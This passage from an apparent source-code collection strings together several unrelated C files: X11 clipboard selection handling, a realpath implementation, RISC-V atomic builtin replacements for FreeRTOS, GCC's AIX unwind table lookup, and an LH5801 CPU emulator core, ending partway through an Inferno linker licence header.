neo_own(x, 0, sel, NULL, 0, 0); } while (0); free(ptr); if (xptr != NULL) XFree(xptr); } else if (xse->property == None) { // exit upon SAVE_TARGETS: anyone supporting this? if (xse->target == x->atom[save]) return False; // peer error neo_own(x, 0, sel, NULL, 0, 0); } return True; } // SelectionRequest event handler static Bool on_sel_request(neo_X* x, XSelectionRequestEvent* xsre) { // prepare SelectionNotify XSelectionEvent xse; xse.type = SelectionNotify; xse.requestor = xsre->requestor; xse.selection = xsre->selection; xse.target = xsre->target; xse.property = xsre->property ? xsre->property : xsre->target; xse.time = xsre->time; if (!neo_lock(x, 1)) { int ix_sel = (xse.selection == x->atom[prim]) ? 0 : 1; // TARGETS: DELETE, MULTIPLE, SAVE_TARGETS, TIMESTAMP, _VIMENC_TEXT, _VIM_TEXT, // UTF8_STRING, COMPOUND_TEXT, STRING, TEXT if (xse.time != CurrentTime && xse.time < x->stamp[ix_sel]) { // refuse request for non-matching timestamp xse.property = None; } else if (xse.target == x->atom[targets]) { // response type is ATOM // GNOME is FUBAR, see http://www.edwardrosten.com/code/x11.html //xse.target = x->atom[atom]; XChangeProperty(x->d, xse.requestor, xse.property, xse.target, 32, PropModeReplace, (unsigned char*)&x->atom[targets], total - targets); } else if (xse.target == x->atom[dele] || xse.target == x->atom[save]) { // response type is NULL if (xse.target == x->atom[dele]) alloc_data(x, ix_sel, 0); xse.target = x->atom[null]; XChangeProperty(x->d, xse.requestor, xse.property, xse.target, 32, PropModeReplace, NULL, 0); } else if (xse.target == x->atom[multi]) { // response type is ATOM_PAIR xse.target = x->atom[atom_pair]; to_multiple(x, ix_sel, &xse); } else if (xse.target == x->atom[timestamp]) { // response type is INTEGER xse.target = x->atom[integer]; XChangeProperty(x->d, xse.requestor, xse.property, xse.target, 32, PropModeReplace, (unsigned char*)&x->stamp[ix_sel], 1); } else if (best_target(x, &xse.target, 1) != None) { // attempt to convert to_property(x, ix_sel, xse.requestor, xse.property, xse.target); } else { // unknown target xse.property = None; } neo_lock(x, 0); } else xse.property = None; // send SelectionNotify return XSendEvent(x->d, xse.requestor, 1, 0, (XEvent*)&xse) ? True : False; } // ClientMessage event handler static Bool on_client_message(neo_X* x, XClientMessageEvent* xcme) { Atom param = (Atom)xcme->data.l[0]; if (xcme->message_type == x->atom[neo_ready]) { // NEO_READY: fetch system selection Window owner = XGetSelectionOwner(x->d, param); if (owner == 0 || owner == x->w) { // no conversion needed int sel = (param == x->atom[prim]) ? prim : clip; neo_own(x, 0, sel, NULL, 0, owner ? -1 : 0); } else { // what TARGETS are supported? XConvertSelection(x->d, param, x->atom[targets], x->atom[neo_ready], x->w, (Time)xcme->data.l[1]); } } else if (xcme->message_type == x->atom[neo_offer]) { // NEO_OFFER: offer our selection int ix_sel = (param == x->atom[prim]) ? 0 : 1; XSetSelectionOwner(x->d, param, x->cb[ix_sel] ? x->w : None, x->cb[ix_sel] ? x->stamp[ix_sel] : CurrentTime); } else if (xcme->message_type == x->atom[wm_proto] && param == x->atom[wm_dele]) { // WM_DELETE_WINDOW if (x->w != XGetSelectionOwner(x->d, x->atom[prim]) && x->w != XGetSelectionOwner(x->d, x->atom[clip])) return False; // ask CLIPBOARD_MANAGER to SAVE_TARGETS first XConvertSelection(x->d, x->atom[clipman], x->atom[save], None, x->w, (Time)xcme->data.l[1]); } return True; } // (re-)allocate data buffer for selection // Note: caller must acquire neo_lock() first static void alloc_data(neo_X* x, int ix_sel, size_t cb) { x->data[ix_sel] = realloc(x->data[ix_sel], cb ? 1 + sizeof("utf-8") + cb : 0); x->cb[ix_sel] = cb; } // best matching target atom static Atom best_target(neo_X* x, Atom* atom, int count) { int best = total; for (int i = 0; i < count && best > vimenc; ++i) for (int j = vimenc; j < best; ++j) if (atom[i] == x->atom[j]) { best = j; break; } return (best < total) ? x->atom[best] : None; } // send ClientMessage to our thread static void client_message(neo_X* x, int message, int param) { XClientMessageEvent xcme; xcme.type = ClientMessage; xcme.display = x->d; xcme.window = x->w; xcme.message_type = x->atom[message]; xcme.format = 32; xcme.data.l[0] = x->atom[param]; xcme.data.l[1] = time_stamp(x->delta); XSendEvent(x->d, x->w, 0, 0, (XEvent*)&xcme); XFlush(x->d); } // X11 predicate function: PropertyNotify/PropertyNewValue static Bool is_incr_notify(Display* d, XEvent* xe, XPointer arg) { (void)d; // unused if (xe->type != PropertyNotify) return False; XPropertyEvent* xpe = &xe->xproperty; XSelectionEvent* xse = (XSelectionEvent*)arg; return xpe->window == xse->requestor && xpe->atom == xse->property && xpe->time >= xse->time && xpe->state == PropertyNewValue; } // get msec difference from reference time static Time time_stamp(Time ref) { if (ref == CurrentTime) return CurrentTime; struct timespec t = { 0, 0 }; clock_gettime(CLOCK_REALTIME, &t); return t.tv_sec * 1000 + t.tv_nsec / 1000000 - ref; } // process MULTIPLE selection requests static void to_multiple(neo_X* x, int ix_sel, XSelectionEvent* xse) { Atom* tgt = NULL; unsigned long c_tgt = 0; XGetWindowProperty(x->d, xse->requestor, xse->property, 0, LONG_MAX, False, xse->target, &(Atom){None}, &(int){0}, &c_tgt, &(unsigned long){0}, (unsigned char**)&tgt); for (int ix = 0; ix < (int)c_tgt; ix += 2) if (best_target(x, &tgt[ix], 1) != None && tgt[ix + 1] != None) to_property(x, ix_sel, xse->requestor, tgt[ix + 1], tgt[ix]); else tgt[ix + 1] = None; if (c_tgt) { XChangeProperty(x->d, xse->requestor, xse->property, xse->target, 32, PropModeReplace, (unsigned char*)tgt, (int)c_tgt); XFree(tgt); } } // put selection data into window property static void to_property(neo_X* x, int ix_sel, Window w, Atom property, Atom type) { if (!x->cb[ix_sel]) { XDeleteProperty(x->d, w, property); return; } XTextProperty xtp = { .value = x->data[ix_sel], .encoding = type, .format = 8, .nitems = x->cb[ix_sel] }; unsigned char* ptr = NULL; unsigned char* xptr = NULL; if (type == x->atom[vimenc]) { // _VIMENC_TEXT: motion 'encoding' NUL text xtp.nitems += 1 + sizeof("utf-8"); } else if (type == x->atom[vimtext]) { // _VIM_TEXT: motion text ptr = malloc(1 + xtp.nitems); ptr[0] = xtp.value[0]; memcpy(ptr + 1, xtp.value + 1 + sizeof("utf-8"), xtp.nitems); xtp.value = ptr; xtp.nitems++; } else { // skip header xtp.value += 1 + sizeof("utf-8"); } // Vim-alike behaviour: STRING == UTF8_STRING, TEXT == COMPOUND_TEXT if (type == x->atom[compound] || type == x->atom[text]) { // convert UTF-8 to COMPOUND_TEXT ptr = memcpy(malloc(xtp.nitems + 1), xtp.value, xtp.nitems); ptr[xtp.nitems] = 0; Xutf8TextListToTextProperty(x->d, (char**)&ptr, 1, XCompoundTextStyle, &xtp); xptr = xtp.value; } // set property XChangeProperty(x->d, w, property, type, xtp.format, PropModeReplace, xtp.value, (int)xtp.nitems); // free memory free(ptr); if (xptr != NULL) XFree(xptr); }
960131.c
#include <stdlib.h> #include <stdio.h> #include <limits.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> #include <unistd.h> char *realpath(const char *restrict filename, char *restrict resolved) { int fd; ssize_t r; struct stat st1, st2; char buf[15+3*sizeof(int)]; int alloc = 0; if (!filename) { errno = EINVAL; return 0; } fd = open(filename, O_RDONLY|O_NONBLOCK|O_CLOEXEC); if (fd < 0) return 0; snprintf(buf, sizeof buf, "/proc/self/fd/%d", fd); if (!resolved) { alloc = 1; resolved = malloc(PATH_MAX); if (!resolved) return 0; } r = readlink(buf, resolved, PATH_MAX-1); if (r < 0) goto err; resolved[r] = 0; fstat(fd, &st1); r = stat(resolved, &st2); if (r<0 || st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino) { if (!r) errno = ELOOP; goto err; } close(fd); return resolved; err: if (alloc) free(resolved); close(fd); return 0; }
673693.c
/* * Copyright (c) 2020 Bouffalolab. * * This file is part of * *** Bouffalolab Software Dev Kit *** * (see www.bouffalolab.com). * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of Bouffalo Lab nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ // Modification: Adapt to BouffaloLab compilation environment //replacement for gcc built-in functions #include <stdbool.h> #include <stdint.h> #include "FreeRTOS.h" // GCC toolchain will define this pre-processor if "A" extension is supported #ifndef __riscv_atomic #define __riscv_atomic 0 #endif #define HAS_ATOMICS_32 (__riscv_atomic == 1) #define HAS_ATOMICS_64 ((__riscv_atomic == 1) && (__riscv_xlen == 64)) // Single core SoC: atomics can be implemented using portENTER_CRITICAL_NESTED // and portEXIT_CRITICAL_NESTED, which disable and enable interrupts. #define _ATOMIC_ENTER_CRITICAL() ({ \ portENTER_CRITICAL(); \ 0; \ }) #define _ATOMIC_EXIT_CRITICAL(state) \ do { \ (void)state; \ portEXIT_CRITICAL(); \ } while (0) #ifdef __clang__ // Clang doesn't allow to define "__sync_*" atomics. The workaround is to define function with name "__sync_*_builtin", // which implements "__sync_*" atomic functionality and use asm directive to set the value of symbol "__sync_*" to the name // of defined function. #define CLANG_ATOMIC_SUFFIX(name_) name_##_builtin #define CLANG_DECLARE_ALIAS(name_) \ __asm__(".type " #name_ ", @function\n" \ ".global " #name_ "\n" \ ".equ " #name_ ", " #name_ "_builtin"); #else // __clang__ #define CLANG_ATOMIC_SUFFIX(name_) name_ #define CLANG_DECLARE_ALIAS(name_) #endif // __clang__ #define ATOMIC_LOAD(n, type) \ type __atomic_load_##n(const type *mem, int memorder) { \ unsigned state = _ATOMIC_ENTER_CRITICAL(); \ type ret = *mem; \ _ATOMIC_EXIT_CRITICAL(state); \ return ret; \ } #define ATOMIC_STORE(n, type) \ void __atomic_store_##n(type *mem, type val, int memorder) { \ unsigned state = _ATOMIC_ENTER_CRITICAL(); \ *mem = val; \ _ATOMIC_EXIT_CRITICAL(state); \ } #define ATOMIC_EXCHANGE(n, type) \ type __atomic_exchange_##n(type *mem, type val, int memorder) { \ unsigned state = _ATOMIC_ENTER_CRITICAL(); \ type ret = *mem; \ *mem = val; \ _ATOMIC_EXIT_CRITICAL(state); \ return ret; \ } #define CMP_EXCHANGE(n, type) \ bool __atomic_compare_exchange_##n(type *mem, type *expect, type desired, bool weak, int success, int failure) { \ bool ret = false; \ unsigned state = _ATOMIC_ENTER_CRITICAL(); \ if (*mem == *expect) { \ ret = true; \ *mem = desired; \ } else { \ *expect = *mem; \ } \ _ATOMIC_EXIT_CRITICAL(state); \ return ret; \ } #define FETCH_ADD(n, type) \ type __atomic_fetch_add_##n(type *ptr, type value, int memorder) { \ unsigned state = _ATOMIC_ENTER_CRITICAL(); \ type ret = *ptr; \ *ptr = *ptr + value; \ _ATOMIC_EXIT_CRITICAL(state); \ return ret; \ } #define FETCH_SUB(n, type) \ type __atomic_fetch_sub_##n(type *ptr, type value, int memorder) { \ unsigned state = _ATOMIC_ENTER_CRITICAL(); \ type ret = *ptr; \ *ptr = *ptr - value; \ _ATOMIC_EXIT_CRITICAL(state); \ return ret; \ } #define FETCH_AND(n, type) \ type __atomic_fetch_and_##n(type *ptr, type value, int memorder) { \ unsigned state = _ATOMIC_ENTER_CRITICAL(); \ type ret = *ptr; \ *ptr = *ptr & value; \ _ATOMIC_EXIT_CRITICAL(state); \ return ret; \ } #define FETCH_OR(n, type) \ type __atomic_fetch_or_##n(type *ptr, type value, int memorder) { \ unsigned state = _ATOMIC_ENTER_CRITICAL(); \ type ret = *ptr; \ *ptr = *ptr | value; \ _ATOMIC_EXIT_CRITICAL(state); \ return ret; \ } #define FETCH_XOR(n, type) \ type __atomic_fetch_xor_##n(type *ptr, type value, int memorder) { \ unsigned state = _ATOMIC_ENTER_CRITICAL(); \ type ret = *ptr; \ *ptr = *ptr ^ value; \ _ATOMIC_EXIT_CRITICAL(state); \ return ret; \ } #define SYNC_FETCH_OP(op, n, type) \ type CLANG_ATOMIC_SUFFIX(__sync_fetch_and_##op##_##n)(type * ptr, type value) { \ return __atomic_fetch_##op##_##n(ptr, value, __ATOMIC_SEQ_CST); \ } \ CLANG_DECLARE_ALIAS(__sync_fetch_and_##op##_##n) #define SYNC_BOOL_CMP_EXCHANGE(n, type) \ bool CLANG_ATOMIC_SUFFIX(__sync_bool_compare_and_swap_##n)(type * ptr, type oldval, type newval) { \ bool ret = false; \ unsigned state = _ATOMIC_ENTER_CRITICAL(); \ if (*ptr == oldval) { \ *ptr = newval; \ ret = true; \ } \ _ATOMIC_EXIT_CRITICAL(state); \ return ret; \ } \ CLANG_DECLARE_ALIAS(__sync_bool_compare_and_swap_##n) #define SYNC_VAL_CMP_EXCHANGE(n, type) \ type CLANG_ATOMIC_SUFFIX(__sync_val_compare_and_swap_##n)(type * ptr, type oldval, type newval) { \ unsigned state = _ATOMIC_ENTER_CRITICAL(); \ type ret = *ptr; \ if (*ptr == oldval) { \ *ptr = newval; \ } \ _ATOMIC_EXIT_CRITICAL(state); \ return ret; \ } \ CLANG_DECLARE_ALIAS(__sync_val_compare_and_swap_##n) #if !HAS_ATOMICS_32 ATOMIC_EXCHANGE(1, uint8_t) ATOMIC_EXCHANGE(2, uint16_t) ATOMIC_EXCHANGE(4, uint32_t) CMP_EXCHANGE(1, uint8_t) CMP_EXCHANGE(2, uint16_t) CMP_EXCHANGE(4, uint32_t) FETCH_ADD(1, uint8_t) FETCH_ADD(2, uint16_t) FETCH_ADD(4, uint32_t) FETCH_SUB(1, uint8_t) FETCH_SUB(2, uint16_t) FETCH_SUB(4, uint32_t) FETCH_AND(1, uint8_t) FETCH_AND(2, uint16_t) FETCH_AND(4, uint32_t) FETCH_OR(1, uint8_t) FETCH_OR(2, uint16_t) FETCH_OR(4, uint32_t) FETCH_XOR(1, uint8_t) FETCH_XOR(2, uint16_t) FETCH_XOR(4, uint32_t) SYNC_FETCH_OP(add, 1, uint8_t) SYNC_FETCH_OP(add, 2, uint16_t) SYNC_FETCH_OP(add, 4, uint32_t) SYNC_FETCH_OP(sub, 1, uint8_t) SYNC_FETCH_OP(sub, 2, uint16_t) SYNC_FETCH_OP(sub, 4, uint32_t) SYNC_FETCH_OP(and, 1, uint8_t) SYNC_FETCH_OP(and, 2, uint16_t) SYNC_FETCH_OP(and, 4, uint32_t) SYNC_FETCH_OP(or, 1, uint8_t) SYNC_FETCH_OP(or, 2, uint16_t) SYNC_FETCH_OP(or, 4, uint32_t) SYNC_FETCH_OP(xor, 1, uint8_t) SYNC_FETCH_OP(xor, 2, uint16_t) SYNC_FETCH_OP(xor, 4, uint32_t) SYNC_BOOL_CMP_EXCHANGE(1, uint8_t) SYNC_BOOL_CMP_EXCHANGE(2, uint16_t) SYNC_BOOL_CMP_EXCHANGE(4, uint32_t) SYNC_VAL_CMP_EXCHANGE(1, uint8_t) SYNC_VAL_CMP_EXCHANGE(2, uint16_t) SYNC_VAL_CMP_EXCHANGE(4, uint32_t) #endif // !HAS_ATOMICS_32 #if !HAS_ATOMICS_64 ATOMIC_LOAD(8, uint64_t) ATOMIC_STORE(8, uint64_t) ATOMIC_EXCHANGE(8, uint64_t) CMP_EXCHANGE(8, uint64_t) FETCH_ADD(8, uint64_t) FETCH_SUB(8, uint64_t) FETCH_AND(8, uint64_t) FETCH_OR(8, uint64_t) FETCH_XOR(8, uint64_t) SYNC_FETCH_OP(add, 8, uint64_t) SYNC_FETCH_OP(sub, 8, uint64_t) SYNC_FETCH_OP(and, 8, uint64_t) SYNC_FETCH_OP(or, 8, uint64_t) SYNC_FETCH_OP(xor, 8, uint64_t) SYNC_BOOL_CMP_EXCHANGE(8, uint64_t) SYNC_VAL_CMP_EXCHANGE(8, uint64_t) #endif // !HAS_ATOMICS_64
947677.c
/* Implements unwind table entry lookup for AIX (cf. fde-glibc.c). Copyright (C) 2001, 2002 Free Software Foundation, Inc. Contributed by Timothy Wall <[email protected]> This file is part of GNU CC. GNU CC is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. GNU CC is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GNU CC; see the file COPYING. If not, write to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "tconfig.h" #include "tsystem.h" #include "unwind.h" #include "unwind-ia64.h" #include <dlfcn.h> #include <link.h> #include <sys/mman.h> static struct unw_table_entry * find_fde_for_dso (Elf64_Addr pc, rt_link_map *map, unsigned long* pseg_base, unsigned long* pgp) { rt_segment *seg; Elf64_Addr seg_base; struct unw_table_entry *f_base; size_t lo, hi; /* See if PC falls into one of the loaded segments. */ for (seg = map->l_segments; seg; seg = (rt_segment *)seg->s_next) { if (pc >= seg->s_map_addr && pc < seg->s_map_addr + seg->s_mapsz) break; } if (!seg) return NULL; /* Search for the entry within the unwind table. */ f_base = (struct unw_table_entry *) (map->l_unwind_table); seg_base = (Elf64_Addr) seg->s_map_addr; lo = 0; hi = map->l_unwind_sz / sizeof (struct unw_table_entry); while (lo < hi) { size_t mid = (lo + hi) / 2; struct unw_table_entry *f = f_base + mid; if (pc < f->start_offset + seg_base) hi = mid; else if (pc >= f->end_offset + seg_base) lo = mid + 1; else { /* AIX executables are *always* dynamic. Look up GP for this object. */ Elf64_Dyn *dyn = map->l_ld; *pgp = 0; for (; dyn->d_tag != DT_NULL ; dyn++) { if (dyn->d_tag == DT_PLTGOT) { *pgp = dyn->d_un.d_ptr; break; } } *pseg_base = seg_base; return f; } } return NULL; } /* Return a pointer to the unwind table entry for the function containing PC. */ struct unw_table_entry * _Unwind_FindTableEntry (void *pc, unsigned long *pseg_base, unsigned long *pgp) { extern rt_r_debug _r_debug; struct unw_table_entry *ret; rt_link_map *map = _r_debug.r_map; /* address of link map */ /* Check the main application first, hoping that most of the user's code is there instead of in some library. */ ret = find_fde_for_dso ((Elf64_Addr)pc, map, pseg_base, pgp); if (ret) { /* If we're in the main application, use the current GP value. */ register unsigned long gp __asm__("gp"); *pgp = gp; return ret; } /* FIXME need a DSO lock mechanism for AIX here, to ensure shared libraries aren't changed while we're examining them. */ for (map = _r_debug.r_map; map; map = map->l_next) { /* Skip the main application's entry. */ if (!map->l_name) continue; ret = find_fde_for_dso ((Elf64_Addr)pc, map, pseg_base, pgp); if (ret) break; } /* FIXME need a DSO unlock mechanism for AIX here. */ return ret; }
869144.c
/***************************************************************************** * * Copyright Peter Trauner, all rights reserved. * * - This source code is released as freeware for non-commercial purposes. * - You are free to use and redistribute this code in modified or * unmodified form, provided you list me in the credits. * - If you modify this source code, you must add a notice to each modified * source file that it has been changed. If you're a nice person, you * will clearly mark each change too. :) * - If you wish to use this for commercial purposes, please contact me at * [email protected] * - The author of this copywritten work reserves the right to change the * terms of its usage and license at any time, including retroactively * - This entire notice must remain in the source code. * * based on info found on an artikel for the tandy trs80 pc2 * *****************************************************************************/ #include "debugger.h" #include "lh5801.h" #define VERBOSE 0 #define LOG(x) do { if (VERBOSE) logerror x; } while (0) enum { LH5801_T=1, LH5801_P, LH5801_S, LH5801_U, LH5801_X, LH5801_Y, LH5801_A, LH5801_TM, LH5801_IN, LH5801_BF, LH5801_PU, LH5801_PV, LH5801_DP, LH5801_IRQ_STATE }; typedef struct _lh5810_state lh5801_state; struct _lh5810_state { const lh5801_cpu_core *config; const device_config *device; const address_space *program; PAIR s, p, u, x, y; int tm; //9 bit UINT8 t, a; int bf, dp, pu, pv; UINT16 oldpc; int irq_state; int idle; int icount; }; INLINE lh5801_state *get_safe_token(const device_config *device) { assert(device != NULL); assert(device->token != NULL); assert(device->type == CPU); assert(cpu_get_type(device) == CPU_LH5801); return (lh5801_state *)device->token; } #define P cpustate->p.w.l #define S cpustate->s.w.l #define U cpustate->u.w.l #define UL cpustate->u.b.l #define UH cpustate->u.b.h #define X cpustate->x.w.l #define XL cpustate->x.b.l #define XH cpustate->x.b.h #define Y cpustate->y.w.l #define YL cpustate->y.b.l #define YH cpustate->y.b.h #define C 0x01 #define IE 0x02 #define Z 0x04 #define V 0x08 #define H 0x10 /*************************************************************** * include the opcode macros, functions and tables ***************************************************************/ #include "5801tbl.c" static CPU_INIT( lh5801 ) { lh5801_state *cpustate = get_safe_token(device); memset(cpustate, 0, sizeof(*cpustate)); cpustate->config = (const lh5801_cpu_core *) device->static_config; cpustate->device = device; cpustate->program = memory_find_address_space(device, ADDRESS_SPACE_PROGRAM); } static CPU_RESET( lh5801 ) { lh5801_state *cpustate = get_safe_token(device); P = (memory_read_byte(cpustate->program, 0xfffe)<<8) | memory_read_byte(cpustate->program, 0xffff); cpustate->idle=0; } static CPU_EXECUTE( lh5801 ) { lh5801_state *cpustate = get_safe_token(device); cpustate->icount = cycles; if (cpustate->idle) { cpustate->icount=0; } else { do { cpustate->oldpc = P; debugger_instruction_hook(device, P); lh5801_instruction(cpustate); } while (cpustate->icount > 0); } return cycles - cpustate->icount; } static void set_irq_line(lh5801_state *cpustate, int irqline, int state) { cpustate->idle=0; } /************************************************************************** * Generic set_info **************************************************************************/ static CPU_SET_INFO( lh5801 ) { lh5801_state *cpustate = get_safe_token(device); switch (state) { /* --- the following bits of info are set as 64-bit signed integers --- */ case CPUINFO_INT_INPUT_STATE: set_irq_line(cpustate, 0, info->i); break; case CPUINFO_INT_PC: case CPUINFO_INT_REGISTER + LH5801_P: P = info->i; break; case CPUINFO_INT_SP: case CPUINFO_INT_REGISTER + LH5801_S: S = info->i; break; case CPUINFO_INT_REGISTER + LH5801_U: U = info->i; break; case CPUINFO_INT_REGISTER + LH5801_X: X = info->i; break; case CPUINFO_INT_REGISTER + LH5801_Y: Y = info->i; break; case CPUINFO_INT_REGISTER + LH5801_T: cpustate->t = info->i; break; case CPUINFO_INT_REGISTER + LH5801_TM: cpustate->tm = info->i; break; case CPUINFO_INT_REGISTER + LH5801_BF: cpustate->bf = info->i; break; case CPUINFO_INT_REGISTER + LH5801_PV: cpustate->pv = info->i; break; case CPUINFO_INT_REGISTER + LH5801_PU: cpustate->pu = info->i; break; case CPUINFO_INT_REGISTER + LH5801_DP: cpustate->dp = info->i; break; } } /************************************************************************** * Generic get_info **************************************************************************/ CPU_GET_INFO( lh5801 ) { lh5801_state *cpustate = (device != NULL && device->token != NULL) ? get_safe_token(device) : NULL; switch (state) { /* --- the following bits of info are returned as 64-bit signed integers --- */ case CPUINFO_INT_CONTEXT_SIZE: info->i = sizeof(lh5801_state); break; case CPUINFO_INT_INPUT_LINES: info->i = 2; break; case CPUINFO_INT_DEFAULT_IRQ_VECTOR: info->i = 0; break; case DEVINFO_INT_ENDIANNESS: info->i = ENDIANNESS_LITTLE; break; case CPUINFO_INT_CLOCK_MULTIPLIER: info->i = 1; break; case CPUINFO_INT_CLOCK_DIVIDER: info->i = 1; break; case CPUINFO_INT_MIN_INSTRUCTION_BYTES: info->i = 1; break; case CPUINFO_INT_MAX_INSTRUCTION_BYTES: info->i = 5; break; case CPUINFO_INT_MIN_CYCLES: info->i = 2; break; case CPUINFO_INT_MAX_CYCLES: info->i = 19; break; case CPUINFO_INT_DATABUS_WIDTH_PROGRAM: info->i = 8; break; case CPUINFO_INT_ADDRBUS_WIDTH_PROGRAM: info->i = 16; break; case CPUINFO_INT_ADDRBUS_SHIFT_PROGRAM: info->i = 0; break; case CPUINFO_INT_DATABUS_WIDTH_DATA: info->i = 0; break; case CPUINFO_INT_ADDRBUS_WIDTH_DATA: info->i = 0; break; case CPUINFO_INT_ADDRBUS_SHIFT_DATA: info->i = 0; break; case CPUINFO_INT_DATABUS_WIDTH_IO: info->i = 0; break; case CPUINFO_INT_ADDRBUS_WIDTH_IO: info->i = 0; break; case CPUINFO_INT_ADDRBUS_SHIFT_IO: info->i = 0; break; case CPUINFO_INT_INPUT_STATE: info->i = cpustate->irq_state; break; case CPUINFO_INT_PREVIOUSPC: info->i = cpustate->oldpc; break; case CPUINFO_INT_PC: case CPUINFO_INT_REGISTER + LH5801_P: info->i = P; break; case CPUINFO_INT_SP: case CPUINFO_INT_REGISTER + LH5801_S: info->i = S; break; case CPUINFO_INT_REGISTER + LH5801_U: info->i = U; break; case CPUINFO_INT_REGISTER + LH5801_X: info->i = X; break; case CPUINFO_INT_REGISTER + LH5801_Y: info->i = Y; break; case CPUINFO_INT_REGISTER + LH5801_T: info->i = cpustate->t; break; case CPUINFO_INT_REGISTER + LH5801_TM: info->i = cpustate->tm; break; case CPUINFO_INT_REGISTER + LH5801_IN: info->i = cpustate->config->in(device); break; case CPUINFO_INT_REGISTER + LH5801_BF: info->i = cpustate->bf; break; case CPUINFO_INT_REGISTER + LH5801_PV: info->i = cpustate->pv; break; case CPUINFO_INT_REGISTER + LH5801_PU: info->i = cpustate->pu; break; case CPUINFO_INT_REGISTER + LH5801_DP: info->i = cpustate->dp; break; /* --- the following bits of info are returned as pointers to data or functions --- */ case CPUINFO_FCT_SET_INFO: info->setinfo = CPU_SET_INFO_NAME(lh5801); break; case CPUINFO_FCT_INIT: info->init = CPU_INIT_NAME(lh5801); break; case CPUINFO_FCT_RESET: info->reset = CPU_RESET_NAME(lh5801); break; case CPUINFO_FCT_EXIT: info->exit = NULL; break; case CPUINFO_FCT_EXECUTE: info->execute = CPU_EXECUTE_NAME(lh5801); break; case CPUINFO_FCT_BURN: info->burn = NULL; break; case CPUINFO_FCT_DISASSEMBLE: info->disassemble = CPU_DISASSEMBLE_NAME(lh5801); break; case CPUINFO_PTR_INSTRUCTION_COUNTER: info->icount = &cpustate->icount; break; /* --- the following bits of info are returned as NULL-terminated strings --- */ case DEVINFO_STR_NAME: strcpy(info->s, "LH5801"); break; case DEVINFO_STR_FAMILY: strcpy(info->s, "LH5801"); break; case DEVINFO_STR_VERSION: strcpy(info->s, "1.0alpha"); break; case DEVINFO_STR_SOURCE_FILE: strcpy(info->s, __FILE__); break; case DEVINFO_STR_CREDITS: strcpy(info->s, "Copyright Peter Trauner, all rights reserved."); break; case CPUINFO_STR_FLAGS: sprintf(info->s, "%s%s%s%s%s%s%s%s", cpustate->t&0x80?"1":"0", cpustate->t&0x40?"1":"0", cpustate->t&0x20?"1":"0", cpustate->t&0x10?"H":".", cpustate->t&8?"V":".", cpustate->t&4?"Z":".", cpustate->t&2?"I":".", cpustate->t&1?"C":"."); break; case CPUINFO_STR_REGISTER + LH5801_P: sprintf(info->s, "P:%04X", cpustate->p.w.l); break; case CPUINFO_STR_REGISTER + LH5801_S: sprintf(info->s, "S:%04X", cpustate->s.w.l); break; case CPUINFO_STR_REGISTER + LH5801_U: sprintf(info->s, "U:%04X", cpustate->u.w.l); break; case CPUINFO_STR_REGISTER + LH5801_X: sprintf(info->s, "X:%04X", cpustate->x.w.l); break; case CPUINFO_STR_REGISTER + LH5801_Y: sprintf(info->s, "Y:%04X", cpustate->y.w.l); break; case CPUINFO_STR_REGISTER + LH5801_T: sprintf(info->s, "T:%02X", cpustate->t); break; case CPUINFO_STR_REGISTER + LH5801_A: sprintf(info->s, "A:%02X", cpustate->a); break; case CPUINFO_STR_REGISTER + LH5801_TM: sprintf(info->s, "TM:%03X", cpustate->tm); break; case CPUINFO_STR_REGISTER + LH5801_IN: sprintf(info->s, "IN:%02X", cpustate->config->in(device)); break; case CPUINFO_STR_REGISTER + LH5801_PV: sprintf(info->s, "PV:%04X", cpustate->pv); break; case CPUINFO_STR_REGISTER + LH5801_PU: sprintf(info->s, "PU:%04X", cpustate->pu); break; case CPUINFO_STR_REGISTER + LH5801_BF: sprintf(info->s, "BF:%04X", cpustate->bf); break; case CPUINFO_STR_REGISTER + LH5801_DP: sprintf(info->s, "DP:%04X", cpustate->dp); break; } }
354988.c
// Inferno utils/6l/span.c // http://code.google.com/p/inferno-os/source/browse/utils/6l/span.c // // Copyright © 1994-1999 Lucent Technologies Inc. All rights reserved. // Portions Copyright © 1995-1997 C H Forsyth ([email protected]) // Portions Copyright © 1997-1999 Vita Nuova Limited // Portions Copyright © 2000-2007 Vita Nuova Holdings Limited (www.vitanuova.com) // Portions Copyright © 2004,2006 Bruce Ellis // Portions Copyright © 2005-2007 C H Forsyth ([email protected]) // Revisions Copyright © 2000-2007 Lucent Technologies Inc. and others // Portions Copyright © 2009 The Go Authors. All rights reserved. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS 